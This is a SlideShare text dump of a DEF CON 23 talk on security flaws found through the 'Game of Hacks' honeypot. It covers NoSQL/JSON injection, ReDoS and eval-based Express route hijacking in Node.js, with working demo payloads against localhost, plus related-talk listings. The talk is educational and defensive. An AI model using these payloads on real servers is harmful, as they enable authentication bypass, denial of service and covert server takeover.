SlideShare a Scribd company logo
DEF CON 23 - amit ashbel and maty siman - game of hacks
How we are about to spend your time?
o 3 mins – What is GoH?
o 10 mins – Not so wet T-Shirt contest
o 10 mins – Whats behind it?
o 10 mins – What we learned?
o 10 mins – Vulnerabilities and exploits
Game of Hacks – An idea is born
var mysql = require('db-mysql');
var http = require('http');
var out;
var valTom;
var req = http.request(options, function(res)
{
res.on('data', function(chunk)
{
valTom = chunk;
}
);
}
);
new mysql.Database(
{
hostname: 'localhost', user: 'user', password: 'password', database: 'test'
}
).
connect(function(error)
{
var the_Query = "INSERT INTO Customers (
….
Spot The
Vulnerability
CISO Concerns – Education and Awareness
(https://www.owasp.org/images/2/28/Owasp-ciso-report-2013-1.0.pdf
1+1=?
Launched on August 2014
More than 80,000 games were played since
Get your Browsers ready!
Checkmarx@Defcon 23
Turn your mobile devices ON!
Go to: www.kahoot.it
Let’s take a look at the game
What's behind GoH?
Honeypot
o We assumed the game would be attacked
o We might as well learn from it
o Vulnerabilities were left exposed and patched along the
way
GoH Architecture
Server
Client
Timer
o GoH Version 1
• Timer handled by client
• User forced to go to next question when time ends
• Client sends to server Answer + Time spent
o GoH 2
• Time is now computed at the server with
minor traffic influence
o So what?
• Players stopped timer by modifying JS code
Timer
o What else?
Platform security considerations
o Client (JavaScript)
• How do we validate user
names?
o Server
• How do we enforce valid user
names?
• What are valid user names?
o XSS
• DOM based
o Command Injection (Eval)
o DOS
o Plain SQLi
o JSON based SQLi
o Traceless Routing Hijacking
o SSJS Injection
o Weak Client Side Crypto
o ReDOS
Architecture
db.products.insert( { item: "card", qty : 15 } )
db.products.insert( { name: “elephant", size: 1700 } )
db.products.insert
db.products.find
db.products.find() - Find all of them
db.products.find( { qty: 15 }) - Find based on equality
db.products.find( { qty: { $gt: 25 } } ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj;
obj.qty=15;
db.products.find(obj)
name = req.query.username;
pass = req.query.password;
db.users.find({username: name, password: pass});
…
If exists ….
Security – User Supplied Data
o Can you spot the vulnerabilities in the code?
o Fix:
15
WRONG!
name = req.query.username;
pass = req.query.password;
db.users.find({username: name, password: pass});
Security – User Supplied Data
16
o What if we use the following query:
db.users.find({username: {$gt, “a”},
password : {$gt, “a”}});
JSON-base SQL Injection
o Node.JS, being a JSON based language, can accept JSON
values for the .find method:
o A user can bypass it by sending
17
http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html
http:///server/page?user[$gt]=a&pass[$gt]=a
db.users.find({username: username, password: password});
DEMO
http://localhost:49090/?user=hi&pass=bye
JSON Based SQL Injection
o You can use the following:
o Then
db.users.find({username: username});
bcrypt.compare(candidatePassword, password, cb);
WRONG!
JSON Based SQLi
o This can lead to Regular Expression Denial of Service through
the {“username”: {“$regex”: “……..}}
db.users.find({username: username});
Re-Dos Demo
http://localhost:49090/?user=admin&pass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a
|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a
|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a
|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a
|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
Conclusions
o Always validate the input length, structure and
permitted characters
o Remember - Node.js is highly sensitive to CPU-
intensive tasks, and there’s a single thread for
user-code
Traceless Routing Hijacking
Node.js as a web server
var http = require('http');
var server = http.createServer(function(req, res){
switch (req.method) {
case 'POST' :
var item = '';
req.on('data', function(chunk){
item += chunk;
});
req.on('end', function(){
...
res.end('OKn');
});
break;
case 'GET' :
....
}
});
server.listen(3000);
Node.JS as a webserver
o Recap
• With Node.js there is no web server
• Traditional web-servers (IIS, Tomcat) had strict separation
between the application, the server and the OS
o Run-time Server Poisoning
• Node.js server runs in a single thread, if corrupted, server
behavior can be altered
• Alterations will last for all subsequent requests.
http://lab.cs.ttu.ee/dl93 - Analysis of Node.js platform web application security
Karl Düüna
Eval
o EVALuates a string.
• At the context of the current applicative user within the
context of the application.
• In .net/java, eval can’t control the web server or other users’
threads
o Node.js is server-less so corrupting “current” thread,
harms all users
Express
o Express.js (Wikipedia)
• “a Node.js web application framework, designed for building single-
page, multi-page, and hybrid web applications.”
app.get('/add', function(req,res) {
var data=req.query;
return res.render('index',
{message: eval(req.query.a + '+' + req.query.b)});
}
http://server/add?a=3&b=8
11
Routing
http://localhost:49090/add?a=3&b=8
Server Routing
o Maintained in an ordered list (although called “stack”
by express).
Routing Stack
/Add
/Remove
/page/:id
/ab*d
Func1()
Func2()
Func3()
Func4()
o The stack is accessible in runtime:
app._router.stack
http://localhost:49090/add?a=3&b=JSON.stringify(app._router.stack)
Run-time Server Poisoning
o Stack is accessible in runtime
• both read and write
• we will replace the existing routing with a new one.
o This will affect all users connecting to the system
• No apparent effect on the source code.
Server Routing
o Maintained in an ordered list (although called “stack” by express).
Routing Stack
/Remove
/page/:id
/ab*d
Func1()
Func2()
Func3()
Func4()
/Add/Add
Func5()
app._router.stack.splice(3,1); // remove routing entry
app.get('/add',function(req, res) // add new routing
{
return res.render('index',
{message: req.query.a * req.query.b}
);
});
Server Routing Demo
http://localhost:49090/add?a=3&b=8
http://localhost:49090/add?a=3&b=app._router.stack.splice(3,1);app.get(%27/add%27,%20func
tion(req,%20res)%20%7breturn%20res.render(%27index%27,%20%7bmessage:%20req.query.a%
20*%20req.query.b%7d);%7d);
http://localhost:49090/add?a=3&b=8
Thank You
Questions?

More Related Content

What's hot (20)

PDF
Cache is King: RubyConf Columbia
Molly Struve
 
PDF
Ensuring High Availability for Real-time Analytics featuring Boxed Ice / Serv...
MongoDB
 
PDF
MongoDB Indexing Constraints and Creative Schemas
MongoDB
 
PPTX
Django cryptography
Erik LaBianca
 
PDF
Riak at The NYC Cloud Computing Meetup Group
siculars
 
PPTX
Architecting Secure and Compliant Applications with MongoDB
MongoDB
 
PDF
"Auth for React.js APP", Nikita Galkin
Fwdays
 
KEY
Fluent plugin-dstat
shunsuke Mikami
 
PDF
Cache is King: Get the Most Bang for Your Buck From Ruby
Molly Struve
 
PPTX
Nantes Jug - Java 7
Sébastien Prunier
 
PPT
Top Ten Web Defenses - DefCamp 2012
DefCamp
 
PDF
Java Runtime: повседневные обязанности JVM
odnoklassniki.ru
 
PDF
node.js Module Development
Jay Harris
 
PDF
神に近づくx/net/context (Finding God with x/net/context)
guregu
 
PDF
What's New in the PHP Driver
MongoDB
 
PDF
JWT - To authentication and beyond!
Luís Cobucci
 
PPTX
Token Based Authentication Systems
Hüseyin BABAL
 
PDF
ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~
yoyamasaki
 
PDF
Nko workshop - node js crud & deploy
Simon Su
 
PPTX
Owasp Indy Q2 2012 Advanced SQLi
owaspindy
 
Cache is King: RubyConf Columbia
Molly Struve
 
Ensuring High Availability for Real-time Analytics featuring Boxed Ice / Serv...
MongoDB
 
MongoDB Indexing Constraints and Creative Schemas
MongoDB
 
Django cryptography
Erik LaBianca
 
Riak at The NYC Cloud Computing Meetup Group
siculars
 
Architecting Secure and Compliant Applications with MongoDB
MongoDB
 
"Auth for React.js APP", Nikita Galkin
Fwdays
 
Fluent plugin-dstat
shunsuke Mikami
 
Cache is King: Get the Most Bang for Your Buck From Ruby
Molly Struve
 
Nantes Jug - Java 7
Sébastien Prunier
 
Top Ten Web Defenses - DefCamp 2012
DefCamp
 
Java Runtime: повседневные обязанности JVM
odnoklassniki.ru
 
node.js Module Development
Jay Harris
 
神に近づくx/net/context (Finding God with x/net/context)
guregu
 
What's New in the PHP Driver
MongoDB
 
JWT - To authentication and beyond!
Luís Cobucci
 
Token Based Authentication Systems
Hüseyin BABAL
 
ドキュメントデータベースとして MySQLを使う!? ~MySQL JSON UDF~
yoyamasaki
 
Nko workshop - node js crud & deploy
Simon Su
 
Owasp Indy Q2 2012 Advanced SQLi
owaspindy
 

Similar to DEF CON 23 - amit ashbel and maty siman - game of hacks (20)

PDF
Security in Node.JS and Express:
Petros Demetrakopoulos
 
PPTX
Javascript Security - Three main methods of defending your MEAN stack
Ran Bar-Zik
 
PPTX
Building and Scaling Node.js Applications
Ohad Kravchick
 
PPTX
NodeJS
Alok Guha
 
PPTX
Introduction to Node.js
Winston Hsieh
 
PPTX
Local SQLite Database with Node for beginners
Laurence Svekis ✔
 
PDF
Basic API Creation with Node.JS
Azilen Technologies Pvt. Ltd.
 
PDF
Workshop 4: NodeJS. Express Framework & MongoDB.
Visual Engineering
 
PPTX
Secure Coding for NodeJS
Thang Chung
 
KEY
Writing robust Node.js applications
Tom Croucher
 
PDF
Introduction to Node.js
Somkiat Puisungnoen
 
PPTX
Introduction to node.js
Adrien Guéret
 
PDF
NoSQL, no security?
wurbanski
 
PPT
Exploring Node.jS
Deepu S Nath
 
PDF
Nodejs - A quick tour (v6)
Felix Geisendörfer
 
PDF
Hello world - intro to node js
Refresh Annapolis Valley
 
PDF
Security Challenges in Node.js
Websecurify
 
KEY
Practical Use of MongoDB for Node.js
async_io
 
PDF
Node.js
Jan Dillmann
 
PPTX
Introduction to Node.js
Vikash Singh
 
Security in Node.JS and Express:
Petros Demetrakopoulos
 
Javascript Security - Three main methods of defending your MEAN stack
Ran Bar-Zik
 
Building and Scaling Node.js Applications
Ohad Kravchick
 
NodeJS
Alok Guha
 
Introduction to Node.js
Winston Hsieh
 
Local SQLite Database with Node for beginners
Laurence Svekis ✔
 
Basic API Creation with Node.JS
Azilen Technologies Pvt. Ltd.
 
Workshop 4: NodeJS. Express Framework & MongoDB.
Visual Engineering
 
Secure Coding for NodeJS
Thang Chung
 
Writing robust Node.js applications
Tom Croucher
 
Introduction to Node.js
Somkiat Puisungnoen
 
Introduction to node.js
Adrien Guéret
 
NoSQL, no security?
wurbanski
 
Exploring Node.jS
Deepu S Nath
 
Nodejs - A quick tour (v6)
Felix Geisendörfer
 
Hello world - intro to node js
Refresh Annapolis Valley
 
Security Challenges in Node.js
Websecurify
 
Practical Use of MongoDB for Node.js
async_io
 
Node.js
Jan Dillmann
 
Introduction to Node.js
Vikash Singh
 

More from Felipe Prado (20)

PDF
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
Felipe Prado
 
PDF
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
Felipe Prado
 
PDF
DEF CON 24 - Tamas Szakaly - help i got ants
Felipe Prado
 
PDF
DEF CON 24 - Ladar Levison - compelled decryption
Felipe Prado
 
PDF
DEF CON 24 - Clarence Chio - machine duping 101
Felipe Prado
 
PDF
DEF CON 24 - Chris Rock - how to overthrow a government
Felipe Prado
 
PDF
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
Felipe Prado
 
PDF
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
Felipe Prado
 
PDF
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
Felipe Prado
 
PDF
DEF CON 24 - Gorenc Sands - hacker machine interface
Felipe Prado
 
PDF
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
Felipe Prado
 
PDF
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
Felipe Prado
 
PDF
DEF CON 24 - Rich Mogull - pragmatic cloud security
Felipe Prado
 
PDF
DEF CON 24 - Grant Bugher - Bypassing captive portals
Felipe Prado
 
PDF
DEF CON 24 - Patrick Wardle - 99 problems little snitch
Felipe Prado
 
PDF
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
Felipe Prado
 
PDF
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
Felipe Prado
 
PDF
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
Felipe Prado
 
PDF
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
Felipe Prado
 
PDF
DEF CON 24 - Antonio Joseph - fuzzing android devices
Felipe Prado
 
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
Felipe Prado
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
Felipe Prado
 
DEF CON 24 - Tamas Szakaly - help i got ants
Felipe Prado
 
DEF CON 24 - Ladar Levison - compelled decryption
Felipe Prado
 
DEF CON 24 - Clarence Chio - machine duping 101
Felipe Prado
 
DEF CON 24 - Chris Rock - how to overthrow a government
Felipe Prado
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
Felipe Prado
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
Felipe Prado
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
Felipe Prado
 
DEF CON 24 - Gorenc Sands - hacker machine interface
Felipe Prado
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
Felipe Prado
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
Felipe Prado
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
Felipe Prado
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
Felipe Prado
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
Felipe Prado
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
Felipe Prado
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
Felipe Prado
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
Felipe Prado
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
Felipe Prado
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
Felipe Prado
 

Recently uploaded (20)

PDF
Brief History of Internet - Early Days of Internet
sutharharshit158
 
PDF
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
PDF
NewMind AI Weekly Chronicles – July’25, Week III
NewMind AI
 
PPTX
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
PPTX
Farrell_Programming Logic and Design slides_10e_ch02_PowerPoint.pptx
bashnahara11
 
PPTX
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
PPTX
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
PPTX
Agentic AI in Healthcare Driving the Next Wave of Digital Transformation
danielle hunter
 
PPTX
AI Code Generation Risks (Ramkumar Dilli, CIO, Myridius)
Priyanka Aash
 
PDF
Market Insight : ETH Dominance Returns
CIFDAQ
 
PPTX
IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
PPTX
OA presentation.pptx OA presentation.pptx
pateldhruv002338
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
PDF
Responsible AI and AI Ethics - By Sylvester Ebhonu
Sylvester Ebhonu
 
PPTX
Simple and concise overview about Quantum computing..pptx
mughal641
 
PDF
Per Axbom: The spectacular lies of maps
Nexer Digital
 
PDF
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 
PDF
Peak of Data & AI Encore - Real-Time Insights & Scalable Editing with ArcGIS
Safe Software
 
PDF
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
PPTX
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
Brief History of Internet - Early Days of Internet
sutharharshit158
 
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
NewMind AI Weekly Chronicles – July’25, Week III
NewMind AI
 
Agile Chennai 18-19 July 2025 Ideathon | AI Powered Microfinance Literacy Gui...
AgileNetwork
 
Farrell_Programming Logic and Design slides_10e_ch02_PowerPoint.pptx
bashnahara11
 
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
Agentic AI in Healthcare Driving the Next Wave of Digital Transformation
danielle hunter
 
AI Code Generation Risks (Ramkumar Dilli, CIO, Myridius)
Priyanka Aash
 
Market Insight : ETH Dominance Returns
CIFDAQ
 
IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
OA presentation.pptx OA presentation.pptx
pateldhruv002338
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
Responsible AI and AI Ethics - By Sylvester Ebhonu
Sylvester Ebhonu
 
Simple and concise overview about Quantum computing..pptx
mughal641
 
Per Axbom: The spectacular lies of maps
Nexer Digital
 
Tea4chat - another LLM Project by Kerem Atam
a0m0rajab1
 
Peak of Data & AI Encore - Real-Time Insights & Scalable Editing with ArcGIS
Safe Software
 
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 

DEF CON 23 - amit ashbel and maty siman - game of hacks